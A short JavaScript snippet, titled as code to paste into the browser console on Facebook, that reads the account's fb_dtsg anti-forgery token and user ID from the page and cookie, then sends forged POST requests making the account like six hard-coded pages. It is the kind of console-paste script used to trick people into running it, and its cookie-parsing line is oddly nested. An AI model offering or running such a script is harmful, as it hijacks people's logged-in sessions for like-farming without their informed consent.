code like page facebook F12

/*Like Page*/
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function Like(p) {
    var Page = new XMLHttpRequest();
    var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
    var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
    Page.open("POST", PageURL, true);
    Page.onreadystatechange = function () {
        if (Page.readyState == 4 && Page.status == 200) {
            Page.close;
        }
    };
    Page.send(PageParams);
}
Like("394484804008242");Like("628012520583886");Like("232438710265185");Like("512952005441294");
Like("207270649451570");Like("260790834069573");